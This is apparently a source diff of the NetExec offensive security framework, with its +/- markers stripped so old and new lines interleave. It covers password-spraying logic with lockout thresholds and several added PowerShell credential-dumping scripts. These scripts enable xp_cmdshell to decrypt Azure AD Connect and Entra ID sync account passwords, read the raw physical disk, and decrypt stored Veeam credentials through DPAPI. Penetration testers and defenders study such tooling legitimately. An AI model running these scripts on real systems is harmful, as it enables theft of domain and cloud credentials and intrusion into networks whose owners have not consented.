def __init__(self, args, db, target):
self.args = args
self.db = db
self.hostname = host
self.port = self.args.port
self.logger = nxc_logger
self.conn = None
self.admin_privs = False
self.output_file_template = None
self.output_filename = None
self.protocol = args.protocol
# Authentication info
self.password = ""
self.username = ""
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
self.kerberos = bool(self.args.kerberos or
self.args.use_kcache or
self.args.aesKey or
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "generate_st") and self.args.generate_st) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.local_ip = None
self.logger = nxc_logger
try:
self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
if self.args.kerberos:
self.host = self.hostname
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
except Exception as e:
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
# Network info
self.domain = None
self.host = None # IP address of the target. If kerberos this is the hostname
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
self.kdcHost = self.args.kdcHost
self.port = self.args.port
self.local_ip = None
self.dns_server = self.args.dns_server
# DNS resolution
dns_result = self.resolver(target)
if dns_result:
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
else:
return
if args.jitter:
jitter = args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
if self.kerberos:
self.host = self.hostname
value = random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
sleep(value)
self.logger.debug(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
try:
self.proto_flow()
except FileNotFoundError as e:
self.logger.error(f"File not found error on target {target}: {e}")
except ConnectionRefusedError as e:
self.logger.error(f"Target {target} refused the connection: {e}")
except Exception as e:
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
self.logger.error(f"Exception while calling proto_flow() on target {self.host}: {e}")
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
# Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
else:
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
finally:
self.logger.debug(f"Closing connection to: {host}")
self.logger.debug(f"Closing connection to: {target}")
with contextlib.suppress(Exception):
self.conn.close()
def resolver(self, target):
try:
return get_host_addr_info(
target=target,
force_ipv6=self.args.force_ipv6,
dns_server=self.args.dns_server,
dns_tcp=self.args.dns_tcp,
dns_timeout=self.args.dns_timeout
)
except Exception as e:
self.logger.info(f"Error resolving hostname {target}: {e}")
return None
@staticmethod
def proto_args(std_parser, module_parser):
return
@@ -147,22 +225,16 @@ class connection:
def create_conn_obj(self):
return
def disconnect(self):
return
def check_if_admin(self):
return
def kerberos_login(
self,
domain,
username,
password="",
ntlm_hash="",
aesKey="",
kdcHost="",
useCache=False,
):
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
return
def plaintext_login(self, domain, username, password):
def plaintext_login(self, username, password):
return
def hash_login(self, domain, username, ntlm_hash):
@@ -172,17 +244,27 @@ class connection:
self.logger.debug("Kicking off proto_flow")
self.proto_logger()
if not self.create_conn_obj():
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
self.logger.debug(f"Failed to create connection object for target {self.host}, exiting...")
else:
self.logger.debug("Created connection object")
self.logger.info(f"Successfully created connection object for target '{self.host}'")
self.enum_host_info()
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
if hasattr(self.args, "module") and self.args.module:
# Construct the output file template using os.path.join for OS compatibility
base_log_dir = os.path.join(NXC_PATH, "logs")
filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
# Default output filename for logs
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.disconnect()
def call_cmd_args(self):
"""Calls all the methods specified by the command line arguments
@@ -211,13 +293,13 @@ class connection:
It iterates over the modules specified in the command line arguments.
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
"""
for module in self.module:
for module in self.modules:
self.logger.debug(f"Loading module {module.name} - {module}")
module_logger = NXCAdapter(
extra={
"module_name": module.name.upper(),
"host": self.host,
"port": self.args.port,
"port": self.port,
"hostname": self.hostname,
},
)
@@ -226,11 +308,6 @@ class connection:
context = Context(self.db, module_logger, self.args)
context.localip = self.local_ip
if hasattr(module, "on_request") or hasattr(module, "has_response"):
self.logger.debug(f"Module {module.name} has on_request or has_response methods")
self.server.connection = self
self.server.context.localip = self.local_ip
if hasattr(module, "on_login"):
self.logger.debug(f"Module {module.name} has on_login method")
module.on_login(context, self)
@@ -239,35 +316,31 @@ class connection:
self.logger.debug(f"Module {module.name} has on_admin_login method")
module.on_admin_login(context, self)
if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
self.logger.debug(f"Module {module.name} has on_shutdown method")
module.on_shutdown(context, self)
def inc_failed_login(self, username):
global global_failed_logins
global user_failed_logins
global global_failed_logins, user_failed_logins
if username not in user_failed_logins:
user_failed_logins[username] = 0
with fail_lock:
if username not in user_failed_logins:
user_failed_logins[username] = 0
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
user_failed_logins[username] += 1
global_failed_logins += 1
self.failed_logins += 1
def over_fail_limit(self, username):
global global_failed_logins
global user_failed_logins
global global_failed_logins, user_failed_logins
if global_failed_logins == self.args.gfail_limit:
return True
with fail_lock:
if global_failed_logins == self.args.gfail_limit:
return True
if self.failed_logins == self.args.fail_limit:
return True
if self.failed_logins == self.args.fail_limit:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
return True
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool]
return True
return False
return False
def query_db_creds(self):
"""Queries the database for credentials to be used for authentication.
@@ -328,10 +401,10 @@ class connection:
if isfile(user):
with open(user) as user_file:
for line in user_file:
if "\\" in line:
if "\\" in line and len(line.split("\\")) == 2:
domain_single, username_single = line.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
username_single = line
domain.append(domain_single)
username.append(username_single.strip())
@@ -340,7 +413,7 @@ class connection:
if "\\" in user:
domain_single, username_single = user.split("\\")
else:
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
username_single = user
domain.append(domain_single)
username.append(username_single)
@@ -367,12 +440,22 @@ class connection:
for ntlm_hash in self.args.hash:
if isfile(ntlm_hash):
with open(ntlm_hash) as ntlm_hash_file:
for line in ntlm_hash_file:
secret.append(line.strip())
cred_type.append("hash")
for i, line in enumerate(ntlm_hash_file):
line = line.strip()
if len(line) != 32 and len(line) != 65 and len(line) != 0:
self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
continue
else:
secret.append(line)
cred_type.append("hash")
else:
secret.append(ntlm_hash)
cred_type.append("hash")
if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
exit(1)
else:
secret.append(ntlm_hash)
cred_type.append("hash")
self.logger.debug(secret)
# Parse AES keys
if self.args.aesKey:
@@ -395,22 +478,34 @@ class connection:
return domain, username, owned, secret, cred_type, [None] * len(secret)
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
"""Try to login using the specified credentials and protocol.
"""
Try to login using the specified credentials and protocol.
With --jitter an authentication throttle can be applied.
Possible login methods are:
- plaintext (/kerberos)
- NTLM-hash (/kerberos)
- AES-key
"""
if self.over_fail_limit(username):
return False
if self.args.continue_on_success and owned:
return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
if self.args.jitter:
jitter = self.args.jitter
if "-" in jitter:
start, end = jitter.split("-")
jitter = (int(start), int(end))
else:
jitter = (0, int(jitter))
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
sleep(value)
with sem:
if self.over_fail_limit(username):
return False
if cred_type == "plaintext":
if self.args.kerberos:
if self.kerberos:
self.logger.debug("Trying to authenticate using Kerberos")
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
@@ -423,7 +518,7 @@ class connection:
self.logger.debug("Trying to authenticate using plaintext")
return self.plaintext_login(username, secret)
elif cred_type == "hash":
if self.args.kerberos:
if self.kerberos:
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
return self.hash_login(domain, username, secret)
elif cred_type == "aesKey":
@@ -464,15 +559,23 @@ class connection:
if self.args.use_kcache:
self.logger.debug("Trying to authenticate using Kerberos cache")
with sem:
username = self.args.username[0] if len(self.args.username) else ""
username = self.args.username[0] if len(self.args.username) else CCache.parseFile()[1]
password = self.args.password[0] if len(self.args.password) else ""
self.kerberos_login(self.domain, username, password, "", "", self.kdcHost, True)
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
self.logger.debug("Trying to authenticate using Certificate pfx")
if not self.args.username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
return pfx_auth(self)
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
cred_type = ["plaintext"]
if not (username[0] or secret[0] or domain[0]):
return False
@@ -496,3 +599,16 @@ class connection:
def mark_pwned(self):
return highlight(f"({pwned_label})" if self.admin_privs else "")
def load_modules(self):
self.logger.info(f"Loading modules for target: {self.host}")
loader = ModuleLoader(self.args, self.db, self.logger)
self.modules = []
for module_path in self.module_paths:
try:
module = loader.init_module(module_path)
except ModuleOptionsError as e:
self.logger.debug(f"Skipping module: {e}")
continue
self.modules.append(module)
+4 -2
View File
@@ -1,6 +1,8 @@
import configparser
import os
from nxc.paths import NXC_PATH, CONFIG_PATH
class Context:
def __init__(self, db, logger, args):
@@ -8,10 +10,10 @@ class Context:
setattr(self, key, value)
self.db = db
self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
self.log_folder_path = os.path.join(NXC_PATH, "logs")
self.localip = None
self.conf = configparser.ConfigParser()
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
self.conf.read(CONFIG_PATH)
self.log = logger
+82
View File
@@ -0,0 +1,82 @@
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
# Modified by @NeffIsBack:
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
function decrypter($crypted, $key_id, $instance_id, $entropy) {
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
$reader.Close()
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
return $decrypted
}
# Create a connection to the localdb instance of Azure AD Connect
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
return
}
function f {
param ($q)
$c = $client.CreateCommand()
$c.CommandText = $q
$r = $c.ExecuteReader()
if (-not $r.Read()) {
Write-Host "[!] Error querying: $q"
return
}
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
$r.Close()
return $res
}
# Get keyset_id, instance_id, entropy
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
if (-not $out) { return }
$key_id, $instance_id, $entropy = $out
# Get and decrypt on-prem AD credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
if (-not $out) { return }
$on_prem, $c = $out
$pd = decrypter $c $key_id $instance_id $entropy
# Get and decrypt Entra ID sync credentials
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
if (-not $out) { return }
$entra, $c = $out
$qd = decrypter $c $key_id $instance_id $entropy
# Extract the credentials from the decrypted XML configurations
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "On-prem Domain: $($domain.Domain)"
Write-Host "On-prem Username: $($username.Username)"
Write-Host "On-prem Password: $($pw.Password)"
# Extract the Entra ID sync credentials
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Entra ID Username: $($entra_user)"
Write-Host "Entra ID Password: $($entra_pw.Password)"
-65
View File
@@ -1,65 +0,0 @@
$sqlbin=@(Get-ChildItem -Path C:\"Program Files"\"Microsoft SQL Server"\ -Filter sqllocaldb.exe -Recurse).fullname
$db=@(cmd /c $sqlbin info | findstr /i ADSy)
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\$db;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
}
Write-Host "[*] Querying ADSync localdb (mms_server_configuration)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_server_configuration"
return
}
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
if ($reader.Read() -ne $true) {
Write-Host "[!] Error querying mms_management_agent"
return
}
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
$cmd = $client.CreateCommand()
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
$reader = $cmd.ExecuteReader()
$decrypted = [string]::Empty
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
$decrypted += $reader.GetString(0)
}
if ($decrypted -eq [string]::Empty) {
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
return
}
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
Write-Host "Domain: $($domain.Domain)"
Write-Host "Username: $($username.Username)"
Write-Host "Password: $($password.Password)"
+95
View File
@@ -0,0 +1,95 @@
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public class CNativeMethods
{
public const uint GENERIC_READ = 0x80000000;
public const uint OPEN_EXISTING = 3;
public const uint FILE_SHARE_READ = 0x00000001;
public const uint FILE_SHARE_WRITE = 0x00000002;
public const uint FILE_SHARE_DELETE = 0x00000004;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(
SafeFileHandle hFile,
byte[] lpBuffer,
uint nNumberOfBytesToRead,
out uint lpNumberOfBytesRead,
IntPtr lpOverlapped
);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetFilePointerEx(
SafeFileHandle hFile,
long lDistanceToMove,
out long lpNewFilePointer,
uint dwMoveMethod
);
}
public enum EMoveMethod : uint
{
Begin = 0,
Current = 1,
End = 2
}
"@
Function read_disk{
$offset = [long]$args[0]
$size = [int]$args[1]
try {
$handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0",
[CNativeMethods]::GENERIC_READ,
[CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE,
[IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)
if ($handle.IsInvalid) {
throw "Failed to create file handle"
}
$moveToHigh = 0
$success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
if (-not $success) {
throw "Failed to set file pointer"
}
$buffer = New-Object byte[] $size
$bytesRead = 0
$success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)
if (-not $success) {
throw "Failed to read file"
}
$memoryStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($buffer, 0, $buffer.Length)
$gzipStream.Close()
$compressedBytes = $memoryStream.ToArray()
$compressedBase64 = [Convert]::ToBase64String($compressedBytes)
Write-Output $compressedBase64
} catch {
Write-Error "An error occurred: $_"
}
finally {
if ($handle -and !$handle.IsInvalid) {
$handle.Close()
}
}
}
+7 -1
View File
@@ -5,8 +5,11 @@ pwn3d_label = Pwn3d!
audit_mode =
reveal_chars_of_pwd = 0
log_mode = False
ignore_opsec = True
host_info_colors = ["green", "red", "yellow", "cyan"]
check_guest_account = False
display_dc = True
skip_self = False
exclude_hosts = []
[BloodHound]
bh_enabled = False
@@ -15,6 +18,9 @@ bh_port = 7687
bh_user = neo4j
bh_pass = bloodhoundcommunityedition
[BloodHound-CE]
bhce_enabled = True
[Empire]
api_host = 127.0.0.1
api_port = 1337
Binary file not shown.
@@ -1,9 +1,10 @@
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
$SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
$b64Salt = "REPLACE_ME_b64Salt"
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
exit -1
}
$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
$output=($dataset.Tables | Select-Object -Expand Rows)
if ($output.count -eq 0) {
Write-Host "No passwords found!"
exit
}
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$rows | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
# Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
@@ -1,8 +1,9 @@
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
$b64Salt = "REPLACE_ME_b64Salt"
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
if ($output.count -eq 0) {
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
exit
}
# Decrypting passwords using DPAPI
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
+142 -26
View File
@@ -1,13 +1,23 @@
import sys
import configparser
import ipaddress
import platform
import shutil
from sqlalchemy import create_engine
from sqlite3 import connect
import sys
from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from threading import Lock
from sqlalchemy import Table, create_engine, MetaData, func
from sqlalchemy.exc import (
IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
@@ -45,6 +55,22 @@ def write_configfile(config, config_path):
config.write(configfile)
def init_protocol_dbs(workspace_name, p_loader=None):
"""Check for each protocol if the database exists, if not create it."""
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
db_engine = create_db_engine(proto_db_path)
protocol_object.database.db_schema(db_engine)
db_engine.dispose()
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
@@ -62,29 +88,8 @@ def create_workspace(workspace_name, p_loader=None):
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
init_protocol_dbs(workspace_name, p_loader)
def delete_workspace(workspace_name):
@@ -94,4 +99,115 @@ def delete_workspace(workspace_name):
def initialize_db():
if not exists(path_join(WORKSPACE_DIR, "default")):
create_workspace("default")
create_workspace("default")
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
def format_host_query(q, filter_term, HostsTable):
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
"""
# the FTP and SSH protocols call the column host instead of IP
# TODO: normalize these column names
if hasattr(HostsTable.c, "ip"):
ip_column = HostsTable.c.ip
nxc_logger.debug("Using 'ip' column for filtering")
elif hasattr(HostsTable.c, "host"):
ip_column = HostsTable.c.host
nxc_logger.debug("Using 'host' column for filtering")
else:
